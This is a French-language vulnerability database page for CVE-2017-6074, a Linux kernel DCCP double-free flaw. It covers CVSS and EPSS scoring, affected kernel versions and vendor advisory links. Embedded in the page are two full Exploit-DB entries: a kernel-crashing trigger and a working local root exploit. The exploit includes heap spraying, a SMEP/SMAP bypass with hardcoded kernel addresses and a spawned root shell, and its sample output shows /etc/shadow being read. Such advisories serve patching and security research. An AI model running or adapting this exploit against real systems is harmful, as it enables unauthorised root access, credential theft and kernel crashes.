CVE-2017-6074 : Détail

CVE-2017-6074

7.8
/
Haute
0.05%V3
Local
2017-02-18
20h40 +00:00
2018-07-18
10h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The dccp_rcv_state_process function in net/dccp/input.c in the Linux kernel through 4.9.11 mishandles DCCP_PKT_REQUEST packet data structures in the LISTEN state, which allows local users to obtain root privileges or cause a denial of service (double free) via an application that makes an IPV6_RECVPKTINFO setsockopt system call.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-415 Double Free
The product calls free() twice on the same memory address, potentially leading to modification of unexpected memory locations.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 41457

Date de publication : 2017-02-25 23h00 +00:00
Auteur : Andrey Konovalov
EDB Vérifié : No

// // EDB Note: More information ~ http://seclists.org/oss-sec/2017/q1/471 // // A trigger for CVE-2017-6074, crashes kernel. // Tested on 4.4.0-62-generic #83-Ubuntu kernel. // https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074 // // Andrey Konovalov <[email protected]> #define _GNU_SOURCE #include <netinet/ip.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/types.h> #include <stdarg.h> #include <stdbool.h> #include <stddef.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> int main() { struct sockaddr_in6 sa1; sa1.sin6_family = AF_INET6; sa1.sin6_port = htons(20002); inet_pton(AF_INET6, "::1", &sa1.sin6_addr); sa1.sin6_flowinfo = 0; sa1.sin6_scope_id = 0; int optval = 8; int s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); bind(s1, &sa1, 0x20); listen(s1, 0x9); setsockopt(s1, IPPROTO_IPV6, IPV6_RECVPKTINFO, &optval, 4); int s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); connect(s2, &sa1, 0x20); shutdown(s1, SHUT_RDWR); close(s1); shutdown(s2, SHUT_RDWR); close(s2); return 0; }
Exploit Database EDB-ID : 41458

Date de publication : 2017-02-25 23h00 +00:00
Auteur : Andrey Konovalov
EDB Vérifié : No

// // EDB Note: More information ~ http://seclists.org/oss-sec/2017/q1/471 // // A proof-of-concept local root exploit for CVE-2017-6074. // Includes a semireliable SMAP/SMEP bypass. // Tested on 4.4.0-62-generic #83-Ubuntu kernel. // https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074 // // Usage: // $ gcc poc.c -o pwn // $ ./pwn // [.] namespace sandbox setup successfully // [.] disabling SMEP & SMAP // [.] scheduling 0xffffffff81064550(0x406e0) // [.] waiting for the timer to execute // [.] done // [.] SMEP & SMAP should be off now // [.] getting root // [.] executing 0x402043 // [.] done // [.] should be root now // [.] checking if we got root // [+] got r00t ^_^ // [!] don't kill the exploit binary, the kernel will crash // # cat /etc/shadow // ... // daemon:*:17149:0:99999:7::: // bin:*:17149:0:99999:7::: // sys:*:17149:0:99999:7::: // sync:*:17149:0:99999:7::: // games:*:17149:0:99999:7::: // ... // // Andrey Konovalov <[email protected]> #define _GNU_SOURCE #include <errno.h> #include <fcntl.h> #include <stdarg.h> #include <stdbool.h> #include <stddef.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sched.h> #include <sys/socket.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <arpa/inet.h> #include <linux/if_packet.h> #include <netinet/if_ether.h> #define SMEP_SMAP_BYPASS 1 // Needed for local root. #define COMMIT_CREDS 0xffffffff810a2840L #define PREPARE_KERNEL_CRED 0xffffffff810a2c30L #define SHINFO_OFFSET 1728 // Needed for SMEP_SMAP_BYPASS. #define NATIVE_WRITE_CR4 0xffffffff81064550ul #define CR4_DESIRED_VALUE 0x406e0ul #define TIMER_OFFSET (728 + 48 + 104) #define KMALLOC_PAD 128 #define KMALLOC_WARM 32 #define CATCH_FIRST 6 #define CATCH_AGAIN 16 #define CATCH_AGAIN_SMALL 64 // Port is incremented on each use. static int port = 11000; void debug(const char *msg) { /* char buffer[32]; snprintf(&buffer[0], sizeof(buffer), "echo '%s' > /dev/kmsg\n", msg); system(buffer); */ } // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * struct ubuf_info { uint64_t callback; // void (*callback)(struct ubuf_info *, bool) uint64_t ctx; // void * uint64_t desc; // unsigned long }; struct skb_shared_info { uint8_t nr_frags; // unsigned char uint8_t tx_flags; // __u8 uint16_t gso_size; // unsigned short uint16_t gso_segs; // unsigned short uint16_t gso_type; // unsigned short uint64_t frag_list; // struct sk_buff * uint64_t hwtstamps; // struct skb_shared_hwtstamps uint32_t tskey; // u32 uint32_t ip6_frag_id; // __be32 uint32_t dataref; // atomic_t uint64_t destructor_arg; // void * uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; }; struct ubuf_info ui; void init_skb_buffer(char* buffer, void *func) { memset(&buffer[0], 0, 2048); struct skb_shared_info *ssi = (struct skb_shared_info *)&buffer[SHINFO_OFFSET]; ssi->tx_flags = 0xff; ssi->destructor_arg = (uint64_t)&ui; ssi->nr_frags = 0; ssi->frag_list = 0; ui.callback = (unsigned long)func; } struct timer_list { void *next; void *prev; unsigned long expires; void (*function)(unsigned long); unsigned long data; unsigned int flags; int slack; }; void init_timer_buffer(char* buffer, void *func, unsigned long arg) { memset(&buffer[0], 0, 2048); struct timer_list* timer = (struct timer_list *)&buffer[TIMER_OFFSET]; timer->next = 0; timer->prev = 0; timer->expires = 4294943360; timer->function = func; timer->data = arg; timer->flags = 1; timer->slack = -1; } // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * struct dccp_handle { struct sockaddr_in6 sa; int s1; int s2; }; void dccp_init(struct dccp_handle *handle, int port) { handle->sa.sin6_family = AF_INET6; handle->sa.sin6_port = htons(port); inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr); handle->sa.sin6_flowinfo = 0; handle->sa.sin6_scope_id = 0; handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); if (handle->s1 == -1) { perror("socket(SOCK_DCCP)"); exit(EXIT_FAILURE); } int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa)); if (rv != 0) { perror("bind()"); exit(EXIT_FAILURE); } rv = listen(handle->s1, 0x9); if (rv != 0) { perror("listen()"); exit(EXIT_FAILURE); } int optval = 8; rv = setsockopt(handle->s1, IPPROTO_IPV6, IPV6_RECVPKTINFO, &optval, sizeof(optval)); if (rv != 0) { perror("setsockopt(IPV6_RECVPKTINFO)"); exit(EXIT_FAILURE); } handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); if (handle->s1 == -1) { perror("socket(SOCK_DCCP)"); exit(EXIT_FAILURE); } } void dccp_kmalloc_kfree(struct dccp_handle *handle) { int rv = connect(handle->s2, &handle->sa, sizeof(handle->sa)); if (rv != 0) { perror("connect(SOCK_DCCP)"); exit(EXIT_FAILURE); } } void dccp_kfree_again(struct dccp_handle *handle) { int rv = shutdown(handle->s1, SHUT_RDWR); if (rv != 0) { perror("shutdown(SOCK_DCCP)"); exit(EXIT_FAILURE); } } void dccp_destroy(struct dccp_handle *handle) { close(handle->s1); close(handle->s2); } // * * * * * * * * * * * * * * Heap spraying * * * * * * * * * * * * * * * * * struct udp_fifo_handle { int fds[2]; }; void udp_fifo_init(struct udp_fifo_handle* handle) { int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, handle->fds); if (rv != 0) { perror("socketpair()"); exit(EXIT_FAILURE); } } void udp_fifo_destroy(struct udp_fifo_handle* handle) { close(handle->fds[0]); close(handle->fds[1]); } void udp_fifo_kmalloc(struct udp_fifo_handle* handle, char *buffer) { int rv = send(handle->fds[0], buffer, 1536, 0); if (rv != 1536) { perror("send()"); exit(EXIT_FAILURE); } } void udp_fifo_kmalloc_small(struct udp_fifo_handle* handle) { char buffer[128]; int rv = send(handle->fds[0], &buffer[0], 128, 0); if (rv != 128) { perror("send()"); exit(EXIT_FAILURE); } } void udp_fifo_kfree(struct udp_fifo_handle* handle) { char buffer[2048]; int rv = recv(handle->fds[1], &buffer[0], 1536, 0); if (rv != 1536) { perror("recv()"); exit(EXIT_FAILURE); } } int timer_kmalloc() { int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); if (s == -1) { perror("socket(SOCK_DGRAM)"); exit(EXIT_FAILURE); } return s; } #define CONF_RING_FRAMES 1 void timer_schedule(int handle, int timeout) { int optval = TPACKET_V3; int rv = setsockopt(handle, SOL_PACKET, PACKET_VERSION, &optval, sizeof(optval)); if (rv != 0) { perror("setsockopt(PACKET_VERSION)"); exit(EXIT_FAILURE); } struct tpacket_req3 tp; memset(&tp, 0, sizeof(tp)); tp.tp_block_size = CONF_RING_FRAMES * getpagesize(); tp.tp_block_nr = 1; tp.tp_frame_size = getpagesize(); tp.tp_frame_nr = CONF_RING_FRAMES; tp.tp_retire_blk_tov = timeout; rv = setsockopt(handle, SOL_PACKET, PACKET_RX_RING, (void *)&tp, sizeof(tp)); if (rv != 0) { perror("setsockopt(PACKET_RX_RING)"); exit(EXIT_FAILURE); } } void socket_sendmmsg(int sock, char *buffer) { struct mmsghdr msg[1]; msg[0].msg_hdr.msg_iovlen = 0; // Buffer to kmalloc. msg[0].msg_hdr.msg_control = &buffer[0]; msg[0].msg_hdr.msg_controllen = 2048; // Make sendmmsg exit easy with EINVAL. msg[0].msg_hdr.msg_name = "root"; msg[0].msg_hdr.msg_namelen = 1; int rv = syscall(__NR_sendmmsg, sock, msg, 1, 0); if (rv == -1 && errno != EINVAL) { perror("[-] sendmmsg()"); exit(EXIT_FAILURE); } } void sendmmsg_kmalloc_kfree(int port, char *buffer) { int sock[2]; int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, sock); if (rv != 0) { perror("socketpair()"); exit(EXIT_FAILURE); } socket_sendmmsg(sock[0], buffer); close(sock[0]); } // * * * * * * * * * * * * * * Heap warming * * * * * * * * * * * * * * * * * void dccp_connect_pad(struct dccp_handle *handle, int port) { handle->sa.sin6_family = AF_INET6; handle->sa.sin6_port = htons(port); inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr); handle->sa.sin6_flowinfo = 0; handle->sa.sin6_scope_id = 0; handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); if (handle->s1 == -1) { perror("socket(SOCK_DCCP)"); exit(EXIT_FAILURE); } int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa)); if (rv != 0) { perror("bind()"); exit(EXIT_FAILURE); } rv = listen(handle->s1, 0x9); if (rv != 0) { perror("listen()"); exit(EXIT_FAILURE); } handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); if (handle->s1 == -1) { perror("socket(SOCK_DCCP)"); exit(EXIT_FAILURE); } rv = connect(handle->s2, &handle->sa, sizeof(handle->sa)); if (rv != 0) { perror("connect(SOCK_DCCP)"); exit(EXIT_FAILURE); } } void dccp_kmalloc_pad() { int i; struct dccp_handle handle; for (i = 0; i < 4; i++) { dccp_connect_pad(&handle, port++); } } void timer_kmalloc_pad() { int i; for (i = 0; i < 4; i++) { socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); } } void udp_kmalloc_pad() { int i, j; char dummy[2048]; struct udp_fifo_handle uh[16]; for (i = 0; i < KMALLOC_PAD / 16; i++) { udp_fifo_init(&uh[i]); for (j = 0; j < 16; j++) udp_fifo_kmalloc(&uh[i], &dummy[0]); } } void kmalloc_pad() { debug("dccp kmalloc pad"); dccp_kmalloc_pad(); debug("timer kmalloc pad"); timer_kmalloc_pad(); debug("udp kmalloc pad"); udp_kmalloc_pad(); } void udp_kmalloc_warm() { int i, j; char dummy[2048]; struct udp_fifo_handle uh[16]; for (i = 0; i < KMALLOC_WARM / 16; i++) { udp_fifo_init(&uh[i]); for (j = 0; j < 16; j++) udp_fifo_kmalloc(&uh[i], &dummy[0]); } for (i = 0; i < KMALLOC_WARM / 16; i++) { for (j = 0; j < 16; j++) udp_fifo_kfree(&uh[i]); } } void kmalloc_warm() { udp_kmalloc_warm(); } // * * * * * * * * * * * * * Disabling SMEP/SMAP * * * * * * * * * * * * * * * // Executes func(arg) from interrupt context multiple times. void kernel_exec_irq(void *func, unsigned long arg) { int i; struct dccp_handle dh; struct udp_fifo_handle uh1, uh2, uh3, uh4; char dummy[2048]; char buffer[2048]; printf("[.] scheduling %p(%p)\n", func, (void *)arg); memset(&dummy[0], 0xc3, 2048); init_timer_buffer(&buffer[0], func, arg); udp_fifo_init(&uh1); udp_fifo_init(&uh2); udp_fifo_init(&uh3); udp_fifo_init(&uh4); debug("kmalloc pad"); kmalloc_pad(); debug("kmalloc warm"); kmalloc_warm(); debug("dccp init"); dccp_init(&dh, port++); debug("dccp kmalloc kfree"); dccp_kmalloc_kfree(&dh); debug("catch 1"); for (i = 0; i < CATCH_FIRST; i++) udp_fifo_kmalloc(&uh1, &dummy[0]); debug("dccp kfree again"); dccp_kfree_again(&dh); debug("catch 2"); for (i = 0; i < CATCH_FIRST; i++) udp_fifo_kmalloc(&uh2, &dummy[0]); int timers[CATCH_FIRST]; debug("catch 1 -> timer"); for (i = 0; i < CATCH_FIRST; i++) { udp_fifo_kfree(&uh1); timers[i] = timer_kmalloc(); } debug("catch 1 small"); for (i = 0; i < CATCH_AGAIN_SMALL; i++) udp_fifo_kmalloc_small(&uh4); debug("schedule timers"); for (i = 0; i < CATCH_FIRST; i++) timer_schedule(timers[i], 500); debug("catch 2 -> overwrite timers"); for (i = 0; i < CATCH_FIRST; i++) { udp_fifo_kfree(&uh2); udp_fifo_kmalloc(&uh3, &buffer[0]); } debug("catch 2 small"); for (i = 0; i < CATCH_AGAIN_SMALL; i++) udp_fifo_kmalloc_small(&uh4); printf("[.] waiting for the timer to execute\n"); debug("wait"); sleep(1); printf("[.] done\n"); } void disable_smep_smap() { printf("[.] disabling SMEP & SMAP\n"); kernel_exec_irq((void *)NATIVE_WRITE_CR4, CR4_DESIRED_VALUE); printf("[.] SMEP & SMAP should be off now\n"); } // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * * // Executes func() from process context. void kernel_exec(void *func) { int i; struct dccp_handle dh; struct udp_fifo_handle uh1, uh2, uh3; char dummy[2048]; char buffer[2048]; printf("[.] executing %p\n", func); memset(&dummy[0], 0, 2048); init_skb_buffer(&buffer[0], func); udp_fifo_init(&uh1); udp_fifo_init(&uh2); udp_fifo_init(&uh3); debug("kmalloc pad"); kmalloc_pad(); debug("kmalloc warm"); kmalloc_warm(); debug("dccp init"); dccp_init(&dh, port++); debug("dccp kmalloc kfree"); dccp_kmalloc_kfree(&dh); debug("catch 1"); for (i = 0; i < CATCH_FIRST; i++) udp_fifo_kmalloc(&uh1, &dummy[0]); debug("dccp kfree again:"); dccp_kfree_again(&dh); debug("catch 2"); for (i = 0; i < CATCH_FIRST; i++) udp_fifo_kmalloc(&uh2, &dummy[0]); debug("catch 1 -> overwrite"); for (i = 0; i < CATCH_FIRST; i++) { udp_fifo_kfree(&uh1); sendmmsg_kmalloc_kfree(port++, &buffer[0]); } debug("catch 2 -> free & trigger"); for (i = 0; i < CATCH_FIRST; i++) udp_fifo_kfree(&uh2); debug("catch 1 & 2"); for (i = 0; i < CATCH_AGAIN; i++) udp_fifo_kmalloc(&uh3, &dummy[0]); printf("[.] done\n"); } typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS; _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED; void get_root_payload(void) { commit_creds(prepare_kernel_cred(0)); } void get_root() { printf("[.] getting root\n"); kernel_exec(&get_root_payload); printf("[.] should be root now\n"); } // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * void exec_shell() { char *shell = "/bin/bash"; char *args[] = {shell, "-i", NULL}; execve(shell, args, NULL); } void fork_shell() { pid_t rv; rv = fork(); if (rv == -1) { perror("fork()"); exit(EXIT_FAILURE); } if (rv == 0) { exec_shell(); } } bool is_root() { // We can't simple check uid, since we're running inside a namespace // with uid set to 0. Try opening /etc/shadow instead. int fd = open("/etc/shadow", O_RDONLY); if (fd == -1) return false; close(fd); return true; } void check_root() { printf("[.] checking if we got root\n"); if (!is_root()) { printf("[-] something went wrong =(\n"); printf("[!] don't kill the exploit binary, the kernel will crash\n"); return; } printf("[+] got r00t ^_^\n"); printf("[!] don't kill the exploit binary, the kernel will crash\n"); // Fork and exec instead of just doing the exec to avoid freeing // skbuffs and prevent crashes due to a allocator corruption. fork_shell(); } static bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { close(fd); return false; } close(fd); return true; } void setup_sandbox() { int real_uid = getuid(); int real_gid = getgid(); if (unshare(CLONE_NEWUSER) != 0) { perror("unshare(CLONE_NEWUSER)"); exit(EXIT_FAILURE); } if (unshare(CLONE_NEWNET) != 0) { perror("unshare(CLONE_NEWUSER)"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/setgroups", "deny")) { perror("write_file(/proc/self/set_groups)"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){ perror("write_file(/proc/self/uid_map)"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { perror("write_file(/proc/self/gid_map)"); exit(EXIT_FAILURE); } cpu_set_t my_set; CPU_ZERO(&my_set); CPU_SET(0, &my_set); if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { perror("sched_setaffinity()"); exit(EXIT_FAILURE); } if (system("/sbin/ifconfig lo up") != 0) { perror("system(/sbin/ifconfig lo up)"); exit(EXIT_FAILURE); } printf("[.] namespace sandbox setup successfully\n"); } int main() { setup_sandbox(); #if SMEP_SMAP_BYPASS disable_smep_smap(); #endif get_root(); check_root(); while (true) { sleep(100); } return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (excluding) 3.2.86

Linux>>Linux_kernel >> Version From (including) 3.3 To (excluding) 3.10.106

Linux>>Linux_kernel >> Version From (including) 3.11 To (excluding) 3.12.71

Linux>>Linux_kernel >> Version From (including) 3.13 To (excluding) 3.16.41

Linux>>Linux_kernel >> Version From (including) 3.17 To (excluding) 3.18.49

Linux>>Linux_kernel >> Version From (including) 3.19 To (excluding) 4.1.41

Linux>>Linux_kernel >> Version From (including) 4.2 To (excluding) 4.4.52

Linux>>Linux_kernel >> Version From (including) 4.5 To (excluding) 4.9.13

Configuraton 0

Debian>>Debian_linux >> Version 8.0

Références

http://rhn.redhat.com/errata/RHSA-2017-0323.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2017-0324.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2017-0365.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2017-0347.html
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2017:1209
Tags : vendor-advisory, x_refsource_REDHAT
http://www.openwall.com/lists/oss-security/2017/02/22/3
Tags : mailing-list, x_refsource_MLIST
http://rhn.redhat.com/errata/RHSA-2017-0501.html
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2017:0932
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securitytracker.com/id/1037876
Tags : vdb-entry, x_refsource_SECTRACK
http://rhn.redhat.com/errata/RHSA-2017-0316.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2017-0294.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2017-0295.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2017-0366.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2017-0346.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2017-0403.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.debian.org/security/2017/dsa-3791
Tags : vendor-advisory, x_refsource_DEBIAN
http://rhn.redhat.com/errata/RHSA-2017-0293.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securityfocus.com/bid/96310
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/41457/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/41458/
Tags : exploit, x_refsource_EXPLOIT-DB
http://rhn.redhat.com/errata/RHSA-2017-0345.html
Tags : vendor-advisory, x_refsource_REDHAT